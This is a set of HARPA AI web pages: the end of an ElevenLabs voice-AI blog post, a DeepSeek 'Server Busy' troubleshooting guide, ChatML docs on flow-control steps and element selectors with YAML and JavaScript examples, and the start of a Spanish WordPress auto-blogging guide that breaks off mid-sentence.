Technology ------------------------------------------------------------------------------------------------------------------------------- The advent of **AI-based voice generation technology** has had a transformative impact on various industries. Here are some key advancements: ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#transformation-of-voice-generation-processes) Transformation of Voice Generation Processes Traditional voice generation processes are labor-intensive and costly. However, Eleven Labs' **AI-powered voice generator** has streamlined this process, making it more efficient and cost-effective. [Explore all languages & accents](https://elevenlabs.io/languages) ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#advancements-in-accessibility-and-multilingual-support) Advancements in Accessibility and Multilingual Support One of the most remarkable offshoots of this revolution is the enhancement of **accessibility**. People with **visual impairment** can now interact more naturally with technology. [YT:How to clone your voice with AI](https://youtube.com/watch?v=ve2K-UmrM3M) ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#the-role-of-ai-voice-technology-in-various-industries) The Role of AI Voice Technology in Various Industries From **video games** to **customer service**, the applications are endless. Industries are leveraging this technology to provide a more immersive experience to their users. [Eleven Multilingual v2](https://elevenlabs.io/blog/multilingualv2/) [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#eleven-labs:-leading-the-ai-voice-revolution) Eleven Labs: Leading the AI Voice Revolution ----------------------------------------------------------------------------------------------------------------------------------------------------- Eleven Labs is not just another **San Francisco-based startup**; it's a pioneer in the **AI voice generation** landscape. Their AI-powered voice generator is a **primary component** in the **voice technology research** that is setting new benchmarks in the industry. ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#how-it-works-and-its-capabilities) How it Works and Its Capabilities The technology uses **natural language processing** and **speech pattern** recognition to generate **lifelike voices**. It can even adapt to different **speech patterns**, making it highly versatile. [YT:Eleven Labs Review](https://youtube.com/watch?v=51Ko3zDG28I) ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#examples-of-successful-applications-and-case-studies) Examples of Successful Applications and Case Studies Whether it's providing **voice command** capabilities in **smart homes** or enhancing **interactive learning experiences**, Eleven Labs is at the forefront of practical applications of **AI voice technology**. [Driving Voice AI Innovation: Highlights from the ElevenLabs Hackathon](https://lablab.ai/blog/driving-voice-ai-innovation-highlights-from-the-elevenlabs-hackathon) [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#ethical-considerations-in-ai-voice-technology) Ethical Considerations in AI Voice Technology ------------------------------------------------------------------------------------------------------------------------------------------------------- In the realm of **AI voice technology**, ethical considerations cannot be overlooked. As these technologies become more integrated into our daily lives, questions about their ethical implications are becoming increasingly important. ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#addressing-privacy-and-data-collection) Addressing Privacy and Data Collection One of the most pressing concerns is **privacy and data collection**. AI voice technologies often require access to personal data to function effectively. How this data is handled and who has access to it are critical issues. [Researchers Highlight Ethical Issues for Developing Future AI Assistants](http://news.gatech.edu/news/2023/07/31/researchers-highlight-ethical-issues-developing-future-ai-assistants#:~:text=According%20to%20the%20researchers%2C%20designers,also%20important%20issues%20to%20consider.) ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#tackling-system-biases) Tackling System Biases Another concern is the potential for **system biases**. AI models can inadvertently learn biases present in the training data, which can then be reflected in the generated voice or responses. [How Voice AI is Changing the Game, Its Ethical Implications](https://www.linkedin.com/pulse/voice-revolution-how-ai-changing-game-its-ethical-future-bart-veenman#:~:text=Voice%20AI%20%26%20Ethics%5Cu0026text=There%20are%20various%20ethical%20considerations,data%20is%20mishandled%20or%20misused.) ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#user-consent-and-transparency) User Consent and Transparency Transparency in how the technology works and obtaining user consent for data collection are also paramount. Users should be fully aware of how their data will be used and should have the ability to opt-out. [The Ethical Considerations of Artificial Intelligence](https://www.captechu.edu/blog/ethical-considerations-of-artificial-intelligence#:~:text=Privacy%2C%20Security%2C%20and%20Surveillance%5Cu0026text=In%20AI%2C%20preserving%20individuals'%20privacy,and%20protections%20from%20extensive%20surveillance.) ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#potential-applications-and-industry-disruptions) Potential Applications and Industry Disruptions The potential applications are endless, from **healthcare** to **entertainment**. As the technology matures, we can expect to see even more disruptive innovations that will change the way we interact with the world around us. [Driving Voice AI Innovation: Highlights from the ElevenLabs Hackathon](https://lablab.ai/blog/driving-voice-ai-innovation-highlights-from-the-elevenlabs-hackathon) [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#frequently-asked-questions) Frequently Asked Questions ----------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#what-is-the-difference-between-speech-ai-and-traditional-voice-generation-methods?) What is the difference between speech AI and traditional voice generation methods? Traditional voice generation methods often rely on pre-recorded audio clips, while **speech AI** uses machine learning algorithms to generate voice dynamically, offering a more natural and customizable experience. ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#how-does-eleven-labs'-ai-powered-voice-generator-stand-out-from-other-solutions-in-the-market?) How does Eleven Labs' AI-powered voice generator stand out from other solutions in the market? Eleven Labs' solution offers **multilingual support**, **custom voice creation**, and **high-quality, natural-sounding voice**, setting it apart from other available options. ### [\#](https://harpa.ai/blog/elevenlabs-voice-ai-innovation#what-industries-are-benefiting-the-most-from-ai-voice-technology?) What industries are benefiting the most from AI voice technology? Industries like **customer service**, **education**, and **entertainment** are among the most significant beneficiaries of AI voice technology, as it allows for more interactive and personalized experiences. [The Role of Ethics in Voice Assistant Design](https://www.soundhound.com/voice-ai-blog/the-role-of-ethics-in-voice-assistant-design) This concludes the article. Thank you for reading, and we hope you found this exploration of Eleven Labs and the revolution of AI voice technology enlightening. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/ai-movie-cast) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Fix Deepseek Server Busy Error [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) How to Fix Deepseek Server Busy Error ===================================== OUTLINE NAVIGATE DeepSeek offers advanced AI capabilities through its DeepSeek R1 model; yet, like any cloud-based service, it is susceptible to occasional disruptions from heavy traffic, resource delays, or network instabilities. By following these 13 detailed troubleshooting tips, you can resolve the “Server Busy” error and maintain uninterrupted workflow. For users encountering persistent issues, HARPA AI provides an alternative cloud-based environment that bypasses local hardware limitations and server overloads—ensuring continuous, reliable access to DeepSeek’s powerful features. With one HARPA S subscription, you gain access to DeepSeek, OpenAI, Claude, Llama, and other LLMs, all hosted on our servers with 99.9% uptime. ![](https://harpa.ai/img/blog/deepseek-server-busy-02.webp) HARPA lets you use any AI on any webpage without geo restrictions and with 99.9% uptime, thanks to third-party hosting independent of DeepSeek servers. [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#how-to-fix-the-%E2%80%9Cserver-busy%E2%80%9D-error) How to Fix the “Server Busy” Error ----------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#1.-refresh-the-deepseek-web-page-or-app) 1\. Refresh the DeepSeek Web Page or App Reloading your browser or restarting the app can clear temporary glitches and force a fresh connection with the server. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#2.-wait-5-minutes-and-retry) 2\. Wait 5 Minutes and Retry Allow the server time to process queued requests. A brief wait might resolve the error once high-demand periods subside. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#3.-log-deepseek-out-and-log-back-in) 3\. Log DeepSeek Out and Log Back In Logging out and logging back into your DeepSeek account can refresh your session and resolve temporary problems. This simple step can clear minor glitches related to your user session or account. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#4.-check-deepseek%E2%80%99s-status-page) 4\. Check DeepSeek’s Status Page Visit the [official status page](https://status.deepseek.com/) to check if widespread outages or spikes are causing the issue. If the problem is server-side, you’ll find real-time updates here. ![](https://harpa.ai/img/blog/deepseek-server-busy-01.webp) ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#5.-restart-your-device/router) 5\. Restart Your Device/Router A system restart can resolve network glitches or misconfigurations. Restarting both your device and router often re-establishes a stable connection. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#6.-test-alternative-networks) 6\. Test Alternative Networks Switch between Wi-Fi and cellular data or use a different network entirely. This step helps determine if the error is linked to your current internet connection. Some countries are blocking DeepSeek right now, so we recommend using HARPA AI, which isn't restricted by country. HARPA AI offers a cloud-based solution that sidesteps these issues. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#7.-close-unused-applications-in-the-background) 7\. Close Unused Applications in the Background Shut down background apps consuming system resources. Freeing up CPU and memory can improve your device’s ability to maintain a stable connection to DeepSeek. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#8.-clear-browser-cache/cookies) 8\. Clear Browser Cache/Cookies Outdated or corrupted cache data and cookies can cause connection issues. Clearing them forces your browser to retrieve fresh data from the server. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#9.-optimize-the-number-of-simultaneous-connections) 9\. Optimize the Number of Simultaneous Connections Limit the number of active connections (e.g., multiple browser tabs or devices) to reduce the load on DeepSeek’s servers from your end. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#10.-test-using-alternative-interfaces) 10\. Test Using Alternative Interfaces If you typically use the web version, try the mobile app (or vice versa). Different platforms might communicate through alternate protocols, potentially bypassing the error. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#11.-avoid-peak-usage-times) 11\. Avoid Peak Usage Times Use DeepSeek during off-peak hours (early mornings or late evenings) to reduce competition for server resources, lowering the chances of encountering the error. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#12.-use-a-vpn-for-alternative-server-locations) 12\. Use a VPN for Alternative Server Locations A VPN can route your connection through less busy regional servers. This might help bypass local network congestion affecting access. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#13.-throttle-resource-intensive-processes) 13\. Throttle Resource-Intensive Processes Pause or reduce high-bandwidth activities (like file downloads or HD streaming) temporarily, allowing more resources to be devoted to DeepSeek. [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#why-deepseek-server-is-busy?) Why DeepSeek Server is Busy? ------------------------------------------------------------------------------------------------------------------------------- When DeepSeek displays a “Server Busy” message, the underlying issue can stem from server overloads, connectivity problems, or device-related complications. Below are the **7 common causes**: ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#1.-high-traffic-spikes) 1\. High Traffic Spikes * Large volumes of simultaneous requests—often during peak hours, viral events, or exam periods—can overload servers. Even a robust cloud infrastructure might struggle with sudden surges, leading to queue delays and error notifications. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#2.-resource-allocation-delays) 2\. Resource Allocation Delays * DeepSeek R1 utilizes cloud providers (like AWS and Google Cloud) for auto-scaling. During high-demand periods (e.g., product updates or launches), the allocation process for additional resources might lag, creating temporary service disruptions. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#3.-network-instability) 3\. Network Instability * Local network issues such as weak Wi-Fi signals, ISP throttling, or faulty hardware (routers, cables) can mimic server errors. These instabilities interrupt clear communication between your device and DeepSeek’s servers. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#4.-scheduled-maintenance) 4\. Scheduled Maintenance * Planned maintenance—including model updates and security patches—can interrupt service briefly (typically 5–15 minutes). Even scheduled downtime during off-peak hours may lead to a temporary “Server Busy” error. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#5.-browser/device-issues) 5\. Browser/Device Issues * Outdated browsers, corrupted caches, or insufficient device resources (low RAM or CPU) can hinder proper interaction with DeepSeek. Such challenges may cause the system to misinterpret communication issues as server overload. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#6.-regional-outages) 6\. Regional Outages * Local infrastructure problems—such as CDN failures, government-imposed bandwidth throttling, or power outages in data-center regions—can result in degraded service, making the server appear busy. ### [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#7.-malicious-attacks) 7\. Malicious Attacks * Distributed Denial-of-Service (DDoS) attacks and botnet activities can artificially spike the traffic load, triggering safety protocols that delay normal user requests and cause error messages. [\#](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix#more-troubleshooting-guides) More Troubleshooting Guides ----------------------------------------------------------------------------------------------------------------------------- * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/chatgpt-for-online-shopping) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/deepseek-api-not-working) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Flow Control Steps [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) Flow Control Steps ================== CONTENTS ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Conditions, GROUP, LOOP and JUMP steps are advanced features, used to control the flow of your AI commands. [\#](https://harpa.ai/chatml/steps-group-loop-jump#group) GROUP ---------------------------------------------------------------- GROUP step is used to combine multiple steps together. For example, if you have an ASK step with multiple options, you can create a group per option and add distinct run conditions. To create a group of steps, click the ADD STEP button and select GROUP. ![](https://harpa.ai/img/chatml/group-1.webp) Grouping steps into a single item can be useful for: * Simplifying the creation of complex commands consisting of multiple steps. * Crafting iterative commands (using a LOOP step) or procedures that can be referred to using a JUMP step. You can assign a label to each group of steps, making it easier to navigate within your command: ![](https://harpa.ai/img/chatml/group-2.webp) **ChatML declaration** Group is used to combine multiple steps together. For example, if you have a prompt with multiple action options, each one can be a group: - condition: '{{change}} = refine' type: group steps: - type: ask param: instructions message: >- What changes would you like me to make? - type: gpt prompt: >- Please rewrite your answer, taking into account my additional instructions. Provide a rewritten response. [Additional instructions]: {{instructions}} Rewritten response: Grouping steps helps simplify your code and avoid errors, making it easier and more convenient when crafting complex commands. The STOP step allows you to interrupt the current group, as demonstrated in the following example: - condition: '{{change}} = refine' type: group steps: - type: ask param: instructions message: >- What changes would you like me to make? - type: gpt prompt: >- Please rewrite your answer, taking into account my additional instructions. Provide a rewritten response. [Additional instructions]: {{instructions}} Rewritten response: - type: stop [\#](https://harpa.ai/chatml/steps-group-loop-jump#jump) JUMP -------------------------------------------------------------- Jump will send execution to the specified step. The target step is resolved by the jump label. Here is an example: # full version - type: jump to: label-a # short version - jump: label-a Jump action can be used to bypass multiple steps or create loops in dialogues. Whenever a jump step is invoked, HARPA engine resolves step by the given label and runs it next. Here is an example of a label declaration: - say: Hello world! label: infinite - jump: infinite Be cautious with JUMP steps, as they may create infinite loops, such as the one above. JUMPs are often utilized with conditions. You can learn more about the JUMP step and conditions [here](https://harpa.ai/chatml/conditions-and-jumps) . [\#](https://harpa.ai/chatml/steps-group-loop-jump#loop) LOOP -------------------------------------------------------------- LOOPs are similar to GROUPs. LOOPs are used to iterate over parameters and allow building mass-automation agents, monitor or extract data from multiple pages, process or enrich contacts. LOOPs are limited to OpenAI API key connection to adhere to OpenAI’s Terms of Service. LOOP steps operate over list parameters (arrays). By default, the parameter is named _{{list}}_. ![](https://harpa.ai/img/chatml/loop-1.webp) **Here's an example of an array with URLs, video titles, view counts, and publication times:** [{"url":"https://www.youtube.com/watch?v=B-8Is-2ocv0","title":"The 'Most Creative' Place In The World","views":470,"publishedTimeAgo":"2 weeks"},{"url":"https://www.youtube.com/watch?v=TAgLw1KKE34","title":"The Science of Storytelling","views":1221,"publishedTimeAgo":"3 months"},{"url":"https://www.youtube.com/watch?v=WRMncYn2bRg","title":"$695 Travel Credit Card: Worth the hype?","views":614,"publishedTimeAgo":"4 months"},{"url":"https://www.youtube.com/watch?v=uFuMzP9HE_E","title":"9/11 Survivor describes her escape from the 95th floor","views":2083495,"publishedTimeAgo":"5 months"},{"url":"https://www.youtube.com/watch?v=tbbo1pjA5j0","title":"I Bought A Billboard On Times Square","views":1334,"publishedTimeAgo":"6 months"},{"url":"https://www.youtube.com/watch?v=vrcQRq676Jg","title":"8h In United's Polaris Business Class (B777)","views":2352,"publishedTimeAgo":"7 months"}] A single item of the array contains the following information: _{"url":"https://www.youtube.com/watch?v=B-8Is-2ocv0","title":"The 'Most Creative' Place In The World","views":470,"publishedTimeAgo":"2 weeks"}_ Another example of a list parameter may look like this: [\ {"fruit": "Mango"},\ {"fruit": "Pomegranate"},\ {"fruit": "Lychee"},\ {"fruit": "Kiwi"},\ {"fruit": "Durian"},\ {"fruit": "Feijoa"},\ {"fruit": "Guava"},\ {"fruit": "Papaya"},\ {"fruit": "Carambola"},\ {"fruit": "Longan"}\ ] In this case, one item of the array is a single fruit with a name: _{"fruit": "Mango"}_ ### [\#](https://harpa.ai/chatml/steps-group-loop-jump#setting-array-values) Setting Array Values You can set the value of the data array through the CALC step (set parameter function): specify the parameter value and name your array (by default in the LOOP step, it is _{{list}}_). ![](https://harpa.ai/img/chatml/loop-2.webp) If you're familiar with JavaScript, you can automatically generate an array. In fact, GPT-4 can assist you in crafting the JS code for that. For instance, obtaining the array of YouTube URLs mentioned earlier can be achieved through the following RunJS step: ![](https://harpa.ai/img/chatml/loop-3.webp) return Array .from(document.querySelectorAll('a[href*="/watch"]')) .map(a => { const ariaLabel = a.getAttribute('aria-label') || ''; const viewsMatch = ariaLabel.match(/(\d[\d,]*) views/); const timeAgoMatch = ariaLabel.match(/views (.+) ago/); const url = new URL(a.href); return { url: 'https://www.youtube.com' + url.pathname + '?v=' + url.searchParams.get('v'), title: a.getAttribute('title') || a.innerText.trim(), views: viewsMatch ? parseInt(viewsMatch[1].replace(/,/g, '')) : null, publishedTimeAgo: timeAgoMatch ? timeAgoMatch[1].trim() : null }; }) .filter(item => item.url.includes('/watch?v=') && item.views !== null && item.publishedTimeAgo !== null); To generate a similar JavaScript code, ask GPT: "What JS code will help me extract a link from the HTML code _Elon Musk: War, AI, Aliens, Politics, Physics, Video Games, and Humanity | Lex Fridman Podcast #400_ ?". To inspect the web page HTML code, right-click on any element on page and select "**Inspect.**". This will highlight the element on the left side in the inspection window. ![](https://harpa.ai/img/chatml/loop-4.webp) Hover over the code with your mouse cursor, click on "**Edit as HTML**" and the code will become available for copying. ![](https://harpa.ai/img/chatml/loop-5.webp) ### [\#](https://harpa.ai/chatml/steps-group-loop-jump#setting-up-the-loop-step) Setting up the LOOP step Let's move onto creating a LOOP step. Add LOOP step to your custom command and set the list parameter value. By default, it will be _{{list}}_. ![](https://harpa.ai/img/chatml/loop-6.webp) Then, click **EDIT STEPS** button and drill down into the LOOP to edit child steps, which operate on the list item. For instance, if you add a SAY step with "**🔄 LOOP: {{item}}**", the result will be as follows: ![](https://harpa.ai/img/chatml/loop-7.webp) You can use dot notation to access properties on items, such as: "**🔄 LOOP: {{item.fruit}}**". ![](https://harpa.ai/img/chatml/loop-8.webp) LOOPs can be used for a variety of use-cases. For example, navigating over multiple URL: ![](https://harpa.ai/img/chatml/loop-9.webp) LOOPs let you develop complex automation systems. For example, a custom command could navigate through social media posts, liking each, which will increase the traffic to your profile. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/steps-extract) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/chatml/steps-run-js) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | AI Element Selectors [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) AI Element Selectors ==================== CONTENTS [\#](https://harpa.ai/chatml/ai-element-selectors#ai-element-selectors) AI Element Selectors --------------------------------------------------------------------------------------------- HARPA AI uses AI Element Selectors to find elements on the page. These selectors are used in EXTRACT, CLICK, TYPE, WAIT steps. You can use the **"Grab"** button to select an element from page, or customize the selector manually in the YAML file. AI Element Selectors are based on the YAML format, and can be used to find elements by tag, class, text, content, role, style, anchor, css, xpath etc. [\#](https://harpa.ai/chatml/ai-element-selectors#selectors-cheat-sheet) Selectors Cheat Sheet ----------------------------------------------------------------------------------------------- Most common selectors are: 1. Search elements containing text My Account 2. Escaping numbers, dates, etc. Total views: {{data}} 3. Find an element closest to $anchor $anchor: username 4. CSS Selector $css $css: div.views-count > span 5. XPath Selector $xpath $xpath: //div/span 6. Parse number from element with $parse selector. Parse options include: number, date, time, prices, currency, text. - Total views: {{data}} - $parse: number 7. Take 4th matching element - $css: h2 - $at: 3 8. ARIA role selector $role: button [\#](https://harpa.ai/chatml/ai-element-selectors#and-operation) AND operation ------------------------------------------------------------------------------- To find elements that match two selectors, combine them into an object: - $css: h2 $text: My Account [\#](https://harpa.ai/chatml/ai-element-selectors#or-operation) OR operation ----------------------------------------------------------------------------- To find elements that match either of two selectors, combine them into an array: - $css: h2 - $text: My Account [\#](https://harpa.ai/chatml/ai-element-selectors#selector-$matches) Selector $matches --------------------------------------------------------------------------------------- Special _$matches_ selector is used to check for multiple selectors at once. It is useful when you need to find an element that matches multiple attributes. This is usually more reliable than using a single selector. There is a _min_ parameter that specifies the minimum number of selectors that element must match to be found - $matches: - $tag: H1 - $role: heading - $class: PostContent__title - $style: Poppins:48px:600:normal - $content: Extract & Content Steps - $class: PostContent__header traverse: '1' - $class: PostContent__content traverse: '0:1' - $class: PostContent traverse: '1:0:1' - $class: Page__content traverse: '0:1:0:1' - $class: Page traverse: '0:0:1:0:1' - $anchor: CONTENTS shift: 79:-132 - $text: CONTENTS traverse: '-3:0:1' - $anchor: HARPA.AI shift: '77:150' - $text: HARPA.AI traverse: '-3:1:0:1' - $anchor: Overview shift: 67:-184 - $text: Overview traverse: '-4:0:1' min: 5 [\#](https://harpa.ai/chatml/ai-element-selectors#selector-$size) Selector $size --------------------------------------------------------------------------------- Special _$size_ selector is used to ensure that the number of elements found is within the specified range. This is useful when you need to find a single element only. - $css: h1 - $size: 1 To check for a range of elements, specify _min_ and _max_ parameters: - $css: a - $size: min: 1 max: 5 If the number of elements found is not within the specified range, the selector will return no elements. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/conditions-and-jumps) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/chatml/troubleshooting) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Automatización de Blog de Wordpress sin Costo [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/finance/sale-04.svg) Automatización de Blog de Wordpress sin Costo ============================================= OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) ¡Buenas noticias! Si publicas hasta ~250 posts por mes, puedes ejecutar el Escenario de IA dentro del Plan Gratuito de Make.com, que te da 1000 operaciones/mes. [\#](https://harpa.ai/blog/no-cost-wordpress-automation-spanish#caracter%C3%ADsticas-del-escenario) Características del Escenario ---------------------------------------------------------------------------------------------------------------------------------- Este escenario automatiza la publicación de contenido en tu sitio web WordPress, recopilando enlaces de artículos desde Google Sheets que quieres superar en posicionamiento y publicar, requiriendo solo una configuración mínima de 10 minutos. Para usarlo, simplemente agrega enlaces de artículos útiles a una hoja de Google. El script se ejecutará en intervalos establecidos (por ejemplo, diariamente o cada 5 horas), seleccionará un artículo no procesado, lo reescribirá y lo publicará en tu blog o sitio web WordPress. Esto te permite automatizar la publicación diaria de contenido sin necesidad de una participación regular en el proceso. ### [\#](https://harpa.ai/blog/no-cost-wordpress-automation-spanish#plantillas-preconfiguradas:) Plantillas preconfiguradas: * Plantilla de Google Sheet: [https://docs.google.com/spreadsheets/d/1z0SbkzbNLP8Rz8tYKlGdlnUV\_Dwgx7b-ApKncXNWS4Q/edit?usp=sharing](https://docs.google.com/spreadsheets/d/1z0SbkzbNLP8Rz8tYKlGdlnUV_Dwgx7b-ApKncXNWS4Q/edit?usp=sharing) * Comando AI: [https://harpa.ai/library/word-press-blog-writer/67c052c183301be3e7101ef1](https://harpa.ai/library/word-press-blog-writer/67c052c183301be3e7101ef1) * [Plantilla de Make.com](https://make.com/en/integration/13848-daily-wordpress-blogging-automate-your-posts-with-google-sheets-harpa?templatePublicId=13927) ### [\#](https://harpa.ai/blog/no-cost-wordpress-automation-spanish#requisitos:) Requisitos: Completa la configuración básica de HARPA y Make.com: * Regístrate en Make.com. * Configura un [Nodo HARPA GRID activo](https://harpa.ai/grid/browser-automation-node-setup) . * Configura la [Conexión API de HARPA](https://harpa.ai/grid/make-com-harpa-grid-setup-basics#harpa-api-connection) en Make.com. [\#](https://harpa.ai/blog/no-cost-wordpress-automation-spanish#c%C3%B3mo-configurar-tu-escenario-de-auto-blogging) Cómo Configurar tu Escenario de Auto-Blogging ------------------------------------------------------------------------------------------------------------------------------------------------------------------ ### [\#](https://harpa.ai/blog/no-cost-wordpress-automation-spanish#configurando-el-comando-ai-en-harpa-(~3-min):) Configurando el Comando AI en HARPA (~3 min): 1. Importa el comando [WordPress Blog Writer](https://harpa.ai/library/word-press-blog-writer/67c052c183301be3e7101ef1) a tu HARPA. 2. Abre HARPA en cualquier página web, ejecuta el comando y 